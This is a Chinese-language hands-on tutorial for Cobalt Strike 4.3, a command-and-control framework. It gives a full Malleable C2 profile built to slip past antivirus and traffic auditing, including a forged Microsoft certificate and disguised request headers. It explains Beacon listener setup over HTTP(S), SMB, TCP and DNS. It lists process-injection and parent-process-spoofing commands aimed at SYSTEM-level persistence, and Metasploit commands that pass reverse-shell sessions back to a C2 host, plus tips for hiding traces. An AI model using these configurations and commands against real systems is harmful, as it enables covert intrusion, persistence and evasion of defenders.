本文主要介绍实战中 Cobalt Strike 4.3 的常用操作,包括Malleable C2配置与分析、监听器和Beacon Payload配置与区别、进程注入与欺骗、与MSF联动以及插件使用方法。
为持久化控守,绕过AV和防火墙等安全设备流量审计,需要使CS流量特征尽可能隐蔽,除修改C2监听端口、自生成cobaltstrike.store秘钥库之外,利用Malleable C2 Profile自定义CS通信流量特征也是非常重要的方面,下面介绍基本的配置规则,并抓包对比默认配置和自定义配置的流量特征。
profile文件必须包含以下几个部分:
https-certificate为可选部分,配置好profile文件后用c2lint工具检查可用性和基本通信数据:./c2lint [/path/to/my.profile]
,如果不通过检查可能会导致通信失败,检查无误后就可以在启动CS时指定profile文件:./teamserver
,自定义profile如下:
profile配置模板参考:https://github.com/xx0hcd/Malleable-C2-Profiles
malleable-c2参数说明参考:https://www.cobaltstrike.com/help-malleable-c2
###global options###
set sleeptime "20000"; # 单位ms
set jitter "30"; # 睡眠抖动时间,百分比0-99
#set host_stage "false"; # 设置所有的Payload都为Stageless,提高安全性
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0";
###SSL Options###
#https-certificate {
#set keystore "your_store_file.store";
#set password "your_store_pass";
#}
https-certificate {
set C "US"; # 单位的两字母国家代码
set CN "Microsoft IT TLS CA 2"; # 通用名称
set L "Redmond"; # 城市或区域名称
set O "Microsoft Corporation"; # 组织名称
set OU "Microsoft IT"; # 组织单位名称
set ST "Washington"; # 州或省份名称
set validity "365";
}
##CODE-SIGNER Block###
code-signer{ # 用于签名 Windows Executable and Windows Executable (S),确保Payload一致性
set keystore "cobaltstrike1.store";
set password "password";
set alias "certificate";
}
###HTTP-GET Block###
http-get {
set uri "/login /config /admin /history"; # 自定义多个url请求路径,以空格相隔
client {
header "Host" "www.xxxx.com";
header "Accept" "*/*";
header "Accept-Language" "en-US";
header "Connection" "close";
metadata {
netbiosu; # netbios(大写)编码
append ".php"; # 追加参数内容尾缀
parameter "file"; # 将内容放在新增的url参数中
#prepend "user="; # 追加参数内容前缀
#header "Cookie"; # 添加到HTTP Cookie头中
}
}
server {
header "Content-Type" "text/plain";
output {
base64;
print; # 将内容输出于HTTP Body中
}
}
}
###HTTP-Post Block###
http-post {
set uri "/page= /index="; # 不能与http-get的url请求路径完全相同
client {
header "Host" "www.baidu.com";
header "Accept" "*/*";
header "Accept-Language" "en";
header "Connection" "close";
id {
netbios;
append ".php";
uri-append; # 追加到url末尾
}
output {
base64;
print;
}
}
server {
output {
base64;
print;
}
}
}
以下是已经应用了自生成cobaltstrike.store之后,curl请求HTTPS Beacon监听端口的结果:
可见HTTPS Beacon初始证书信息都是空值。然后配置Malleable C2 Profile,运行C2服务器,再用curl请求HTTPS Beacon监听端口的结果就可以看到自签名的证书信息了:
利用WireShark抓包,对比CS配置profile前后的通信流量特征:
(1) Beacon通过http-get传递Metadata,以及C2响应下发任务
(2) Beacon通过http-post返回执行结果
使靶机和C2建立起通信基础操作分为3个步骤:
监听器包括8种Beacon类型,其中内置6种:Beacon DNS、Beacon HTTP、Beacon HTTPS、Beacon SMB、Beacon TCP、External C2,外置2种:Foreign HTTP、Foreign HTTPS。外置Beacon监听器用来与MSF、Armitage等外部程序联动,后续会介绍,下面介绍内置Beacon监听器的使用方法:
在CS服务端建立监听端口,Beacon和C2之间通过HTTP协议完成Stage加载以及Beacon通信。在监听器显示框中选择新建,Payload配置界面如下所示:
Payload Options配置如下:
HTTP/HTTPS Beacon 的利用比较简单,生成Payload时选择此监听器,然后使Payload在靶机上运行即可,所有Payload都可以选择此监听器。也可在 spawn
和 spawn as
命令/选项派生新的会话选择此监听器,由此派生的会话和当前会话是并列关系。
与Beacon HTTP配置和使用基本相同,采用SSL加密应用层数据,证书信息需要在Malleable C2 Profile中配置。
使用命名管道通过父级Beacon进行通讯,当两个Beacon连接后,子Beacon从父Beacon获取任务执行,两者使用Windows命名管道通信,流量封装在SMB协议中,较为隐蔽。Payload配置界面如下所示:(Beacon连接的主机必须支持SMB协议,接受445端口的连接)
Payload Options只有一个可以自己配置名称的命名管道选项 Pipename (C2),注意只有不需要Stager的Payload才可以选择此监听器,如使用 spawn
和 spawn as
命令/选项派生新的会话,由此派生的会话和当前会话是级联关系,命令执行后自动建立起连接,派生会话为子Beacon,当前会话为父Beacon,子Beacon通过父Beacon与C2通信,可以使用link
/unlink
命令连接/断开之间的连接。
如果在靶机上手动运行SMB Beacon Payload,此时不会自动和父Beacon建立连接,需要手动选择父Beacon,在父Beacon中用link
命令与靶机(子Beacon)建立连接。
使用TCP Socket通过父级Beacon进行通讯,当两个Beacon连接后,子Beacon从父Beacon获取任务执行,Payload配置界面如下所示:
Payload Options只有一个可以自己配置的监听端口选项 Port (C2),生成此监听器后,其余使用方法与SMB Beacon基本相同,只是连接/断开使用的是connect/unlink
命令。
DNS Beacon是CS中非常优秀的功能,流量特征弱、隐蔽性强,使用DNS Beacon首先需要为C2服务器申请一个域名,然后创建A记录,将域名解析指向C2服务器的IP,再创建NS记录,将域名解析指向刚刚创建的A记录。 配置好域名后DNS请求会被解析到我们的C2,DNS Beacon通过DNS请求与服务器建立会话,C2通过DNS回复通知靶机继续休眠或是执行任务,Payload配置界面如下所示:
Payload Options配置如下:
DNS Beacon与C2通信基本流程如下所示:
测试DNS配置是否正确,在C2 (即A-record.mytest.com指向的主机) 中打开一个终端并输入 nslookup
或者dig @
,其中NS-record.mytest.com为C2注册域名的权威域名服务器,如果返回一个0.0.0.0的A记录,则说明DNS配置是正确的,反之没有回复则说明DNS配置错误,此时DNS Beacon不会与C2正常通信。
DNS Beacon 的利用和HTTP/HTTPS Beacon相同,比较简单,但注意Payload在成功利用后会发现上线靶机是黑屏的图标,这是因为没有任务时靶机只会每隔一段时间 (实测180s左右) 发送一个DNS请求信息,其中不会携带靶机的Metadata,这时需要使用checkin
命令使DNS Beacon强制回连,或者输入要执行的命令,这时也会默认先checkin
然后再执行命令。使用mode dns-txt
命令可以改变DNS Beacon通信模式,TXT记录请求每次携带189字节可以提高通信效率。
External C2是一种通信规范,它允许第三方程序通过预置的通信层设定与CS Beacon Payload进行通信,这里不详细描述。
shellcode注入进程后会生成新的会话,这样即使原来的Beacon进程崩溃,目标也不至于掉线,而且新会话的权限取决于注入进程的权限,这样注入SYSTEM权限的进程,即便用户注销,只要主机不关机Beacon始终能保持回连,两种注入方式如下:
# 根据listener注入相应的shellcode
# winlogon.exe进程以SYSTEM权限运行,通常可以考虑
inject [pid] <x86|x64> [listener]
# 将shellcode注入到所选进程
shinject [pid] <x86|x64> [/path/to/raw.bin]
# 将反射型dll注入到所选进程
dllinject [pid] [/path/to/my.dll]
默认情况下,spawn命令会新建一个rundll32.exe进程用于派生会话,spawnto命令可以指明在派生会话时将shellcode注入到具体的进程:
# 必须指明程序的具体路径,可以使用系统变量如 %windir%\syswow64\rundll32.exe
spawnto [x86|x64] [c:\path\to\whatever.exe]
spawn <listener>
spawnu命令会选择一个临时的父进程,然后派生一个子进程,这个子进程同样可以用spawnto指定:
spawnto [x86|x64] [c:\path\to\whatever.exe]
spawnu [pid] [listener]
为之后派生的Beacon选择父进程,当前Beacon必须有调用父进程的权限并且与父进程在相同的桌面会话环境。
ppid [pid] # 如果不指定pid,则恢复到默认设置
选择一个进程作为临时的父进程去执行命令,当前Beacon必须有调用这个父进程的权限并且与父进程在相同的桌面会话环境。
runu [pid] [command] [arguments]
(实验环境MSF和CS都运行在内网,实战中可能会用到端口映射)
注意:目前只有 windows/meterpreter/reverse_http[s] 才能和CS成功联动
已经获取MSF Session的前提下,派生CS Session
首先在CS上建立监听,如下所示:
然后在MSF Session中执行命令:
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http # 注意要与CS建立监听的Beacon类型相同
set DisablePayloadHandler True # 禁止在本地尝试产生新的session
set PrependMigrate True # (重要!!)预置进程迁移,避免因payload注入程序意外关闭时会话丢失
set lhost 192.168.43.189 # cs开启监听的ip
set lport 44319 # cs开启监听的端口
set session 1 # 指定注入的session
exploit
MSF默认通过shellcode注入新建的Notepad.exe进程从而派生会话,在实验中发现payload_inject
运行后会在靶机上弹出Notepad窗口,如果不设置set PrependMigrate True
,待用户关闭Notepad窗口后会话就丢失了,所以这项配置很重要。另外,为了增加隐蔽性,派生会话后最好利用已获取的Shell将Notepad.exe进程杀掉,避免被人察觉。
已经获取CS Session的前提下,派生MSF Session
首先在MSF上建立监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.43.122
set lport 52981
exploit -j
然后在CS上建立Foreign类型的监听器,Payload主机和监听端口与MSF一致,如下所示:
最后通过 spawn
、spawn as
、inject
等命令/选项派生会话,选择刚生成的Foreign监听器即可。
插件是CS非常重要的一个功能,它使CS可以集成众多优秀的工具,丰富的插件和良好的开发生态使得CS无所不能,下边介绍如何加载插件以及常用插件用法。
一般在客户端加载,菜单栏选择 Cobalt Strike -> Script Manager
,在Scripts功能框中选择Load,加载cna插件,加载后选择目标->右键就可以使用加载的插件。
CS插件在GitHub上非常多,尤其国内红队开发的插件功能既强大又好用,只是在英文版的CS界面中文显示乱码,如果确需用英文版,可以直接修改cna源码,替换中文字符解决乱码问题。下边推荐几个好用插件:
梼杌
k8gege/Aggressor
z1un/Z1-AggressorScripts
harleyQu1nn/AggressorScripts